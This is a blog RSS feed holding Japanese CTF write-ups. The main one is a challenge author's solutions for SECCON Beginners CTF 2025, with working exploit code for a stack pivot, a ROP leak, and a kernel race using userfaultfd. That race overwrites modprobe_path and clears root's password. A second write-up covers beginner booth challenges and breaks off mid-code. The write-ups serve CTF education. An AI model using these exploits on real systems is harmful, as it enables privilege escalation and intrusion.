<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[KuonRuri's Blog]]></title><description><![CDATA[KuonRuri's Blog]]></description><link>https://blog.kuonruri.org</link><generator>RSS for Node</generator><lastBuildDate>Tue, 07 Apr 2026 20:38:24 GMT</lastBuildDate><atom:link href="https://blog.kuonruri.org/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[SECCON Beginners CTF 2025 作問者Writeup]]></title><description><![CDATA[SECCON Beginners CTF 2025へご参加くださりありがとうございました。
私はPwnのMediumとHardを担当し、pivot4b/pivot4b++/TimeOfControlの3問を作成しました。
pivot4b (394pt / 117 solves)
read関数で明らかに16バイトのスタックオーバーフローがあります。
int main() {
    char message[0x30];

    printf("Welcome to the pivot game...]]></description><link>https://blog.kuonruri.org/seccon-beginners-ctf-2025-writeup</link><guid isPermaLink="true">https://blog.kuonruri.org/seccon-beginners-ctf-2025-writeup</guid><dc:creator><![CDATA[Kuon Ruri]]></dc:creator><pubDate>Sun, 27 Jul 2025 10:15:06 GMT</pubDate><content:encoded><![CDATA[<p>SECCON Beginners CTF 2025へご参加くださりありがとうございました。</p>
<p>私はPwnのMediumとHardを担当し、pivot4b/pivot4b++/TimeOfControlの3問を作成しました。</p>
<h1 id="heading-pivot4b-394pt-117-solves">pivot4b (394pt / 117 solves)</h1>
<p>read関数で明らかに16バイトのスタックオーバーフローがあります。</p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
    <span class="hljs-keyword">char</span> message[<span class="hljs-number">0x30</span>];

    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Welcome to the pivot game!\n"</span>);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Here's the pointer to message: %p\n"</span>, message);

    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"&gt; "</span>);
    read(<span class="hljs-number">0</span>, message, <span class="hljs-keyword">sizeof</span>(message) + <span class="hljs-number">0x10</span>);

    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Message: %s\n"</span>, message);

    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p>このとき、スタックの状態はこのようになっています。</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753551921458/b5a69ae4-5fb4-4579-8f43-581ffdc8041d.png" alt class="image--center mx-auto" /></p>
<p>messageにオーバーフローがあるため、リターンアドレスまでを書き換えることができます。</p>
<p>このようなとき、まず考えるのはone_gadgetの利用ですが、今回はlibcのベースアドレスが分からないため難しそうです。</p>
<p>次に考えたいのはROPです。今回のバイナリはPIE無効で、<code>pop rdi; ret</code>やsystem関数なども与えられているので、ROPを組められればシェルを取れそうです。しかし、16バイトしかオーバーフローできないので、そのままではチェーンを置けません。</p>
<p>ここで注目するのは、saved rbpです。このデータは、main関数の終わりにあるleave命令で利用されます。leave命令は<code>mov rsp, rbp; pop rbp</code>という２つの処理を行い、saved rbpをrbpレジスタへ読み込みます。つまり、main関数が終わったときにはrbpレジスタに私達が指定した値が入っています。</p>
<p>rbpに好きな値を入れた状態で更にもう一度leave命令を実行すると、<code>mov rsp, rbp</code>によってrbpレジスタの内容がrspレジスタへ移動します。rspレジスタはスタックトップのアドレスを保存しているので、rspを任意の値に設定できるというのは、任意の領域をスタックとして扱うことができるということを意味します。</p>
<p>よって、saved rbpにmessageのアドレス、リターンアドレスには<code>leave; ret</code>のアドレスを指定してあげることで、rspレジスタをmessageに向けることができます。messageにあらかじめチェーンを置いておくことで、ROPを実行することが可能です。</p>
<p>シェルの起動に必要な”/bin/sh”の文字列は、messageに書き込んで作りましょう。</p>
<p>最終的に目指すスタックの状態は、このようになります。saved rbpに入る値は、leave命令で8バイト増やされることに気をつけましょう。また一回retを挟まないとsystem関数の中でスタックのアライメントで落ちてしまいます。</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753597758842/076035fb-0ba9-4548-bbb9-30922e9c7ebc.png" alt class="image--center mx-auto" /></p>
<p>ソルバです。</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> ptrlib <span class="hljs-keyword">import</span> *

elf = ELF(<span class="hljs-string">"./chall"</span>)
sock = Socket(os.getenv(<span class="hljs-string">"CTF4B_HOST"</span>, <span class="hljs-string">"pivot4b.challenges.beginners.seccon.jp"</span>), int(os.getenv(<span class="hljs-string">"CTF4B_PORT"</span>, <span class="hljs-number">12300</span>)))

sock.recvuntil(<span class="hljs-string">"Here's the pointer to message: 0x"</span>)
message_addr = int(sock.recvline().strip(), <span class="hljs-number">16</span>)

payload = <span class="hljs-string">b"/bin/sh\x00"</span>
payload += flat([
    next(elf.gadget(<span class="hljs-string">"pop rdi; ret"</span>)),
    message_addr,
    next(elf.gadget(<span class="hljs-string">"ret"</span>)),
    elf.plt(<span class="hljs-string">"system"</span>),
], map=p64)

payload += p64(<span class="hljs-number">0</span>) * ((<span class="hljs-number">0x30</span> - len(payload)) // <span class="hljs-number">8</span>) <span class="hljs-comment"># padding</span>

payload += p64(message_addr) <span class="hljs-comment"># saved rbp</span>
payload += p64(next(elf.gadget(<span class="hljs-string">"leave; ret"</span>))) <span class="hljs-comment"># ret addr</span>

sock.sendlineafter(<span class="hljs-string">"&gt; "</span>, payload)
sock.recvline()
sock.sendline(<span class="hljs-string">"cat flag-*.txt"</span>)
sock.sh()
</code></pre>
<p>このようにrspレジスタをうまく書き換えてスタックをずらすテクニックは、Stack Pivotと呼ばれています。</p>
<h1 id="heading-pivot4b-496pt-25-solves">pivot4b++ (496pt / 25 solves)</h1>
<p>pivot4bと似ていますが、PIEが有効でスタックアドレスも与えられません。</p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">vuln</span><span class="hljs-params">()</span> </span>{
    <span class="hljs-keyword">char</span> message[<span class="hljs-number">0x30</span>];

    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Welcome to the second pivot game!\n"</span>);

    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"&gt; "</span>);
    read(<span class="hljs-number">0</span>, message, <span class="hljs-keyword">sizeof</span>(message) + <span class="hljs-number">0x10</span>);

    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Message: %s\n"</span>, message);

    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p>messageのアドレスが不明なため、Stack Pivotを行うことはできません。</p>
<p>ここで、read関数は末尾にNULLを挿入しないため、printfによってmessageの領域を超えて読み出すことができます。試しに”A”*0x38などを入力してみると、リターンアドレスがリークされていることがわかると思います。</p>
<p>そのままではプログラムが終了してしまうため、ELFベースをリークしてからもう一度vuln関数に戻って来たいです。このバイナリはPIEが有効ですが、アドレスの下位12ビットは固定なので、リターンアドレスのうち下1バイトだけ書き換えることでvuln関数に戻りましょう。元のリターンアドレスはmain+79を指しているので、main+74にある<code>call vuln</code>を指すように書き換えればOKです。</p>
<p>これで、ELFベースをリークした上でvuln関数に戻ってくることができました。次は、libcベースをリークしたいです。</p>
<p>vuln関数が終わるとき、rdiレジスタはlibcの領域を指しています。この状態でvuln+18に飛ばすことで、putsでlibcベースをリークしながらvuln関数へ戻ってくることができます。ここで、saved rbpには適当に読み書き可能な領域を設定しておいてあげましょう。</p>
<p>libcベースをリークできたので、あとは適当なone_gadgetを利用すればシェルを取れます。</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> ptrlib <span class="hljs-keyword">import</span> *

elf = ELF(<span class="hljs-string">"./chall"</span>)
libc = ELF(<span class="hljs-string">"./libc.so.6"</span>)
sock = Socket(os.getenv(<span class="hljs-string">"CTF4B_HOST"</span>, <span class="hljs-string">"pivot4b-2.challenges.beginners.seccon.jp"</span>), int(os.getenv(<span class="hljs-string">"CTF4B_PORT"</span>, <span class="hljs-number">12300</span>)))

<span class="hljs-comment"># ELF base leak &amp;&amp; ret2vuln</span>
payload = <span class="hljs-string">b"A"</span> * <span class="hljs-number">0x38</span>
payload += <span class="hljs-string">b"\x26"</span> <span class="hljs-comment"># main + 74</span>

sock.sendafter(<span class="hljs-string">"&gt; "</span>, payload)
sock.recvuntil(<span class="hljs-string">"A"</span> * <span class="hljs-number">0x38</span>)
elf.base = u64(sock.recvline()) - <span class="hljs-number">0x1226</span>

<span class="hljs-comment"># libc base leak &amp;&amp; ret2vuln</span>
payload = <span class="hljs-string">b"B"</span> * <span class="hljs-number">0x30</span>
payload += p64(elf.base + <span class="hljs-number">0x5000</span> - <span class="hljs-number">0x10</span>) <span class="hljs-comment"># saved rbp</span>
payload += p64(elf.symbol(<span class="hljs-string">"vuln"</span>) + <span class="hljs-number">18</span>) <span class="hljs-comment"># ret addr -&gt; puts</span>

sock.sendafter(<span class="hljs-string">"&gt; "</span>, payload)
sock.recvuntil(<span class="hljs-string">"B"</span> * <span class="hljs-number">0x30</span>)
sock.recvline()
libc.base = u64(sock.recvline()) - <span class="hljs-number">0x62050</span>

<span class="hljs-comment"># one_gadget</span>
payload = <span class="hljs-string">b"C"</span> * <span class="hljs-number">0x30</span>
payload += p64(libc.base + <span class="hljs-number">0x21c000</span>) <span class="hljs-comment"># saved rbp</span>
payload += p64(libc.base + <span class="hljs-number">0xebd3f</span>) <span class="hljs-comment"># one_gadget</span>

sock.sendafter(<span class="hljs-string">"&gt; "</span>, payload)

sock.recvline()
sock.sendline(<span class="hljs-string">"cat flag-*.txt"</span>)

sock.sh()
</code></pre>
<h1 id="heading-timeofcontrol-499pt-15-solves">TimeOfControl (499pt / 15 solves)</h1>
<p>カーネル問です。脆弱性は2つあります。</p>
<p>1つ目は、seekでinvalidなoffsetをmsg_offsetに指定できることです。</p>
<p>2つ目は、Time-of-check to time-of-use(TOCTOU)と呼ばれるタイプの脆弱性です。msg_offsetについて適切にロックを取っていないため、readやwriteにおいてis_offset_validでオフセットの正当性を確認してから実際に読み書きを行うまでの間にmsg_offsetが書き換わってしまう可能性があります。</p>
<pre><code class="lang-c"><span class="hljs-keyword">char</span> global_msg[CTF4b_MSG_MAX_SIZE] = <span class="hljs-string">"Kernel Pwn is fun!"</span>;
<span class="hljs-keyword">long</span> msg_offset = <span class="hljs-number">0</span>;

<span class="hljs-function"><span class="hljs-keyword">bool</span> <span class="hljs-title">is_offset_valid</span><span class="hljs-params">(<span class="hljs-keyword">long</span> offset)</span> </span>{
    <span class="hljs-keyword">if</span> (offset &gt;= <span class="hljs-number">0</span> &amp;&amp; offset + <span class="hljs-number">0x100</span> &lt; CTF4b_MSG_MAX_SIZE) {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    }
    <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
}

<span class="hljs-function"><span class="hljs-keyword">static</span> <span class="hljs-keyword">long</span> <span class="hljs-title">ctf4b_ioctl</span><span class="hljs-params">(struct file *filp, <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> cmd, <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span> arg)</span>
</span>{
    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">ctf4b_request</span> <span class="hljs-title">req</span>;</span>
    <span class="hljs-keyword">switch</span> (cmd) {
        <span class="hljs-keyword">case</span> CTF4b_IOCTL_READ:
            <span class="hljs-keyword">if</span> (!is_offset_valid(msg_offset)) {
                <span class="hljs-keyword">return</span> -EINVAL;
            }
            <span class="hljs-keyword">if</span> (copy_from_user(&amp;req, (struct ctf4b_request __user *)arg, <span class="hljs-keyword">sizeof</span>(req))) {
                <span class="hljs-keyword">return</span> -EFAULT;
            }
            <span class="hljs-keyword">if</span> (copy_to_user((<span class="hljs-keyword">char</span> __user *)req.buf, &amp;global_msg[msg_offset], req.size)) {
                <span class="hljs-keyword">return</span> -EFAULT;
            }
            msg_offset += req.size;
            <span class="hljs-keyword">break</span>;
        <span class="hljs-keyword">case</span> CTF4b_IOCTL_WRITE:
            <span class="hljs-keyword">if</span> (!is_offset_valid(msg_offset)) {
                <span class="hljs-keyword">return</span> -EINVAL;
            }
            <span class="hljs-keyword">if</span> (copy_from_user(&amp;req, (struct ctf4b_request __user *)arg, <span class="hljs-keyword">sizeof</span>(req))) {
                <span class="hljs-keyword">return</span> -EFAULT;
            }
            <span class="hljs-keyword">if</span> (copy_from_user(&amp;global_msg[msg_offset], (<span class="hljs-keyword">char</span> __user *)req.buf, req.size)) {
                <span class="hljs-keyword">return</span> -EFAULT;
            }
            msg_offset += req.size;
            <span class="hljs-keyword">break</span>;
        <span class="hljs-keyword">case</span> CTF4b_IOCTL_SEEK:
            msg_offset = (<span class="hljs-keyword">long</span>)arg;
            <span class="hljs-keyword">if</span> (!is_offset_valid(msg_offset)) {
                <span class="hljs-keyword">return</span> -EINVAL;
            }
            <span class="hljs-keyword">break</span>;
        <span class="hljs-keyword">default</span>:
            <span class="hljs-keyword">return</span> -EINVAL;
    }

    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p>今回はKASLRが無効です。方針としては、writeのis_offset_validが呼ばれたあとにmsg_offsetを変更し、modprobe_pathなどを書き換えて権限昇格したいです<a class="post-section-overview" href="#fn1"><sup>1</sup></a> 。</p>
<p>qemuの起動スクリプトを見ると、OSがシングルスレッドで動いていることが分かります。そこで、ただスレッドを立ち上げてレースコンディションを起こすのは難しそうです。このような時には、userfaultfdを利用してみましょう。</p>
<p>userfaultfdでは、ユーザ空間でページフォルトを処理できるようになります。今回の場合、writeのis_offset_validの直後に呼ばれるcopy_from_userで意図的にページフォルトを発生させ、そのハンドラでmsg_offsetの値を変更することで、is_offset_validのチェックの後にmsg_offsetの値を変更することができます。</p>
<pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;fcntl.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;linux/userfaultfd.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;poll.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdlib.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;string.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;sys/ioctl.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;sys/mman.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;sys/stat.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;pthread.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;sys/syscall.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;unistd.h&gt;</span></span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> CTF4b_IOCTL_SEEK 0x4B001</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> CTF4b_IOCTL_READ 0x4B010</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> CTF4b_IOCTL_WRITE 0x4B100</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> CTF4b_MSG_MAX_SIZE 0x100</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> CTF4b_DEV_NAME <span class="hljs-meta-string">"ctf4b"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> uint8_t unsigned char</span>

<span class="hljs-keyword">const</span> <span class="hljs-keyword">long</span> MODULE_BASE = <span class="hljs-number">0xffffffffc0000000</span>;
<span class="hljs-keyword">const</span> <span class="hljs-keyword">long</span> GLOBAL_MSG_ADDR = <span class="hljs-number">0xffffffffc0002160</span>; <span class="hljs-comment">// 0xffff8880033f6160;</span>
<span class="hljs-keyword">const</span> <span class="hljs-keyword">long</span> MODPROBE_PATH = <span class="hljs-number">0xffffffff820ade80</span>;     <span class="hljs-comment">// 0xffff8880020ade80;</span>

<span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">ctf4b_request</span> {</span>
    <span class="hljs-keyword">char</span> *buf;
    <span class="hljs-keyword">uint8_t</span> size;
};
<span class="hljs-keyword">char</span> ctf4b_buf[CTF4b_MSG_MAX_SIZE] = <span class="hljs-string">"/tmp/exp"</span>;

<span class="hljs-keyword">int</span> fd;

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">panic</span><span class="hljs-params">(<span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> *msg)</span> </span>{
    perror(msg);
    _exit(<span class="hljs-number">1</span>);
}

<span class="hljs-function"><span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> *<span class="hljs-title">fault_handler</span><span class="hljs-params">(<span class="hljs-keyword">void</span> *arg)</span> </span>{
    <span class="hljs-keyword">long</span> uffd = (<span class="hljs-keyword">long</span>)arg;

    <span class="hljs-keyword">char</span> *addr = mmap(<span class="hljs-literal">NULL</span>, <span class="hljs-number">0x1000</span>, PROT_READ | PROT_WRITE,
                      MAP_PRIVATE + MAP_ANONYMOUS, <span class="hljs-number">-1</span>, <span class="hljs-number">0</span>);
    <span class="hljs-keyword">if</span> (addr == MAP_FAILED) {
        panic(<span class="hljs-string">"Failed to mmap memory for fault handler"</span>);
    }

    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">pollfd</span> <span class="hljs-title">pollfd</span> = {</span>
        .fd = uffd,
        .events = POLLIN,
    };

    <span class="hljs-keyword">while</span> (<span class="hljs-number">1</span>) {
        <span class="hljs-keyword">if</span> (poll(&amp;pollfd, <span class="hljs-number">1</span>, <span class="hljs-number">-1</span>) &lt; <span class="hljs-number">0</span>) {
            panic(<span class="hljs-string">"Poll failed"</span>);
        }

        <span class="hljs-keyword">if</span> (pollfd.revents &amp; POLLERR || pollfd.revents &amp; POLLHUP) {
            panic(<span class="hljs-string">"Poll error or hangup"</span>);
        }

        <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">uffd_msg</span> <span class="hljs-title">msg</span>;</span>
        <span class="hljs-keyword">if</span> (read(uffd, &amp;msg, <span class="hljs-keyword">sizeof</span>(msg)) != <span class="hljs-keyword">sizeof</span>(msg)) {
            panic(<span class="hljs-string">"Failed to read from uffd"</span>);
        }

        <span class="hljs-keyword">if</span> (msg.event != UFFD_EVENT_PAGEFAULT) {
            panic(<span class="hljs-string">"Unexpected event type"</span>);
        }

        <span class="hljs-built_in">puts</span>(<span class="hljs-string">"[+] Handling userfaultfd..."</span>);
        <span class="hljs-comment">// Set offset to the MODPROBE_PATH address</span>
        ioctl(fd, CTF4b_IOCTL_SEEK,
              (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span>)(MODPROBE_PATH - GLOBAL_MSG_ADDR));

        <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">ctf4b_request</span> <span class="hljs-title">ctf4b_req</span> = {</span>.buf = ctf4b_buf, .size = <span class="hljs-number">0x10</span>};

        <span class="hljs-built_in">memcpy</span>(addr, &amp;ctf4b_req, <span class="hljs-keyword">sizeof</span>(ctf4b_req));

        <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">uffdio_copy</span> <span class="hljs-title">copy</span>;</span>
        copy.src = (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span>)addr;
        copy.dst = (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span>)msg.arg.pagefault.address &amp; ~(<span class="hljs-number">0x1000</span> - <span class="hljs-number">1</span>);
        copy.len = <span class="hljs-number">0x1000</span>;
        copy.mode = <span class="hljs-number">0</span>;
        copy.copy = <span class="hljs-number">0</span>;
        <span class="hljs-keyword">if</span> (ioctl(uffd, UFFDIO_COPY, &amp;copy) &lt; <span class="hljs-number">0</span>) {
            panic(<span class="hljs-string">"Failed to copy memory to page fault address"</span>);
        }
        <span class="hljs-built_in">puts</span>(<span class="hljs-string">"[+] Page fault handled successfully"</span>);
    }
}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">setup_uffd</span><span class="hljs-params">(<span class="hljs-keyword">void</span> *addr)</span> </span>{
    <span class="hljs-keyword">long</span> uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    <span class="hljs-keyword">if</span> (uffd &lt; <span class="hljs-number">0</span>) {
        panic(<span class="hljs-string">"Failed to create userfaultfd"</span>);
    }

    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">uffdio_api</span> <span class="hljs-title">uffdio_api</span> = {</span>
        .api = UFFD_API,
        .features = <span class="hljs-number">0</span>,
    };
    <span class="hljs-keyword">if</span> (ioctl(uffd, UFFDIO_API, &amp;uffdio_api) &lt; <span class="hljs-number">0</span>) {
        panic(<span class="hljs-string">"Failed to set up userfaultfd API"</span>);
    }

    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">uffdio_register</span> <span class="hljs-title">uffdio_register</span> = {</span>
        .range.start = (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span>)addr,
        .range.len = <span class="hljs-number">0x1000</span>,
        .mode = UFFDIO_REGISTER_MODE_MISSING};
    <span class="hljs-keyword">if</span> (ioctl(uffd, UFFDIO_REGISTER, &amp;uffdio_register) &lt; <span class="hljs-number">0</span>) {
        panic(<span class="hljs-string">"Failed to register memory range with userfaultfd"</span>);
    }

    <span class="hljs-keyword">pthread_t</span> thread;
    <span class="hljs-keyword">if</span> (pthread_create(&amp;thread, <span class="hljs-literal">NULL</span>, fault_handler, (<span class="hljs-keyword">void</span> *)uffd) != <span class="hljs-number">0</span>) {
        panic(<span class="hljs-string">"Failed to create fault handler thread"</span>);
    }
}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">win</span><span class="hljs-params">()</span> </span>{
    <span class="hljs-built_in">puts</span>(<span class="hljs-string">"[+] Triggering win function..."</span>);

    <span class="hljs-comment">// Create file to be executed by root</span>
    FILE *fp = fopen(<span class="hljs-string">"/tmp/exp"</span>, <span class="hljs-string">"w"</span>);
    <span class="hljs-keyword">if</span> (!fp) {
        panic(<span class="hljs-string">"Failed to create /tmp/exp"</span>);
    }
    <span class="hljs-built_in">fprintf</span>(fp, <span class="hljs-string">"#!/bin/sh\n"</span>);
    <span class="hljs-built_in">fprintf</span>(fp, <span class="hljs-string">"passwd -d root\n"</span>);
    fclose(fp);
    <span class="hljs-keyword">if</span> (chmod(<span class="hljs-string">"/tmp/exp"</span>, <span class="hljs-number">0755</span>) &lt; <span class="hljs-number">0</span>) {
        perror(<span class="hljs-string">"Failed to set permissions on /tmp/exp"</span>);
    }

    <span class="hljs-comment">// Create file with invalid magic</span>
    fp = fopen(<span class="hljs-string">"/tmp/fuge"</span>, <span class="hljs-string">"wb"</span>);
    <span class="hljs-keyword">if</span> (!fp) {
        panic(<span class="hljs-string">"Failed to create /tmp/fuge"</span>);
    }
    <span class="hljs-built_in">fprintf</span>(fp, <span class="hljs-string">"\xff"</span>);
    fclose(fp);
    <span class="hljs-keyword">if</span> (chmod(<span class="hljs-string">"/tmp/fuge"</span>, <span class="hljs-number">0777</span>) &lt; <span class="hljs-number">0</span>) {
        perror(<span class="hljs-string">"Failed to set permissions on /tmp/fuge"</span>);
    }

    system(<span class="hljs-string">"/tmp/fuge"</span>);

    system(<span class="hljs-string">"/bin/sh -c \"su root\""</span>);
}

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
    fd = open(<span class="hljs-string">"/dev/ctf4b"</span>, O_RDWR);
    <span class="hljs-keyword">if</span> (fd &lt; <span class="hljs-number">0</span>) {
        panic(<span class="hljs-string">"Failed to open device"</span>);
    }

    <span class="hljs-keyword">void</span> *addr = mmap(<span class="hljs-literal">NULL</span>, <span class="hljs-number">0x1000</span>, PROT_READ | PROT_WRITE,
                      MAP_PRIVATE | MAP_ANONYMOUS, <span class="hljs-number">-1</span>, <span class="hljs-number">0</span>);
    <span class="hljs-keyword">if</span> (addr == MAP_FAILED) {
        panic(<span class="hljs-string">"Failed to mmap memory"</span>);
    }

    setup_uffd(addr);

    <span class="hljs-comment">// Trigger userfault</span>
    ioctl(fd, CTF4b_IOCTL_WRITE, addr);

    win();

    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<hr />
<p><a class="post-section-overview" href="#fnref1">1</a>. 権限昇格についての詳細な解説はここでは行いませんが、ptr-yudai氏の<a target="_blank" href="https://pawnyable.cafe/linux-kernel/LK01/heap_overflow.html#AAR-AAW%E3%81%AB%E3%82%88%E3%82%8BExploit">Pawnyable</a>など日本語でも詳しい解説があります。</p>
]]></content:encoded></item><item><title><![CDATA[SECCON CTF 13 決勝観戦CTF Writeup]]></title><description><![CDATA[かなり久しぶりにCTFに参加できた1ので、初めてWriteupを書いてみようと思います。
解けた問題
Welcome

SECCON CTF 13 決勝観戦CTFへようこそ！Flag: Alpaca{welcome_to_seccon_ctf_13_finals_booth}
[重要] 初心者の方への補足
このCTFには、Pwn, Rev, Crypto, Web, Misc の5カテゴリーから約20の問題があります。 CTF 開始時は、大雑把ではありますが、運営が想定した難易度順に問題が並んで...]]></description><link>https://blog.kuonruri.org/alpaca-seccon-ctf-13-writeup</link><guid isPermaLink="true">https://blog.kuonruri.org/alpaca-seccon-ctf-13-writeup</guid><dc:creator><![CDATA[Kuon Ruri]]></dc:creator><pubDate>Wed, 05 Mar 2025 14:54:45 GMT</pubDate><content:encoded><![CDATA[<p>かなり久しぶりにCTFに参加できた<a class="post-section-overview" href="#ft1"><sup>1</sup></a>ので、初めてWriteupを書いてみようと思います。</p>
<h1 id="heading-6kej44gr44gf5zwp6agm">解けた問題</h1>
<h2 id="heading-welcome">Welcome</h2>
<blockquote>
<p>SECCON CTF 13 決勝観戦CTFへようこそ！<br />Flag: <code>Alpaca{welcome_to_seccon_ctf_13_finals_booth}</code></p>
<h3 id="heading-xfvph43opofcxsdlij3lv4pogixjga7mlrnjgbjjga7oo5zotrm">[重要] 初心者の方への補足</h3>
<p>このCTFには、Pwn, Rev, Crypto, Web, Misc の5カテゴリーから約20の問題があります。 CTF 開始時は、大雑把ではありますが、運営が想定した難易度順に問題が並んでいます。 <strong>特に初心者向けである問題に Beginner カテゴリーを明示的につけています。</strong> まずは Beginner 問をいくつか見てみて、興味があるものから解いてみるのがおすすめです。</p>
<p>開始時は運営が想定した難易度順に並んでいますが、問題が解かれ始めると、解かれた数（solves）の多い順に問題が並びます。 solves の多い問題は取り組みやすいことが多く、逆に solves が少ない問題は経験者も解くのが難しいものかもしれません。 初心者向けとはいっても、「典型的である」という理由で難易度の高い問題も出題しています。</p>
<p>ChatGPT 等の AI の使用は全く問題なく、<strong>少しでも詰まったら AI を活用することを推奨</strong> します。 とにかく手を動かしてわからない箇所を調べてみましょう！</p>
<h3 id="heading-44or44k944kz44oz44gm44gq44ge5pa544g4">パソコンがない方へ</h3>
<p><a target="_blank" href="https://colab.research.google.com/drive/1TpbBCnkBqRQijCNzHjolFPsmZR4lyXB_?usp=sharing">モバイル環境でCTFに挑戦できる Google</a> <a target="_blank" href="https://colab.research.google.com/drive/1TpbBCnkBqRQijCNzHjolFPsmZR4lyXB_?usp=sharing">Colab ノートブックを用意しています。 必要に応じて使用してください</a>。 少なくとも Beginner 問は、このノートブックを使用して数行で解けることを確認済みです。</p>
</blockquote>
<p>問題文にFlagがあります。</p>
<p><em>Alpaca{welcome_to_seccon_ctf_13_finals_booth}</em></p>
<h2 id="heading-long-flag">Long Flag</h2>
<blockquote>
<p>出力からフラグを復元してください🐍</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> os
<span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> bytes_to_long

print(bytes_to_long(os.getenv(<span class="hljs-string">"FLAG"</span>).encode()))
</code></pre>
<p>出力:</p>
<pre><code class="lang-plaintext">35774448546064092714087589436978998345509619953776036875880600864948129648958547184607421789929097085
</code></pre>
</blockquote>
<p>Flagが<code>bytes_to_long</code>されて渡されます。<code>long_to_bytes</code>でもとに戻してあげればOK。</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> long_to_bytes

o = <span class="hljs-number">35774448546064092714087589436978998345509619953776036875880600864948129648958547184607421789929097085</span>
print(long_to_bytes(o)) <span class="hljs-comment"># Alpaca{LO00OO000O00OOOO0O00OOO00O000OOONG}</span>
</code></pre>
<p><em>Alpaca{LO00OO000O00OOOO0O00OOO00O000OOONG}</em></p>
<h2 id="heading-8jnqg">🍪</h2>
<blockquote>
<p>ある条件を満たすとフラグが得られるようです</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">import</span> Fastify <span class="hljs-keyword">from</span> <span class="hljs-string">"fastify"</span>;
<span class="hljs-keyword">import</span> fastifyCookie <span class="hljs-keyword">from</span> <span class="hljs-string">"@fastify/cookie"</span>;

<span class="hljs-keyword">const</span> fastify = Fastify();
fastify.register(fastifyCookie);

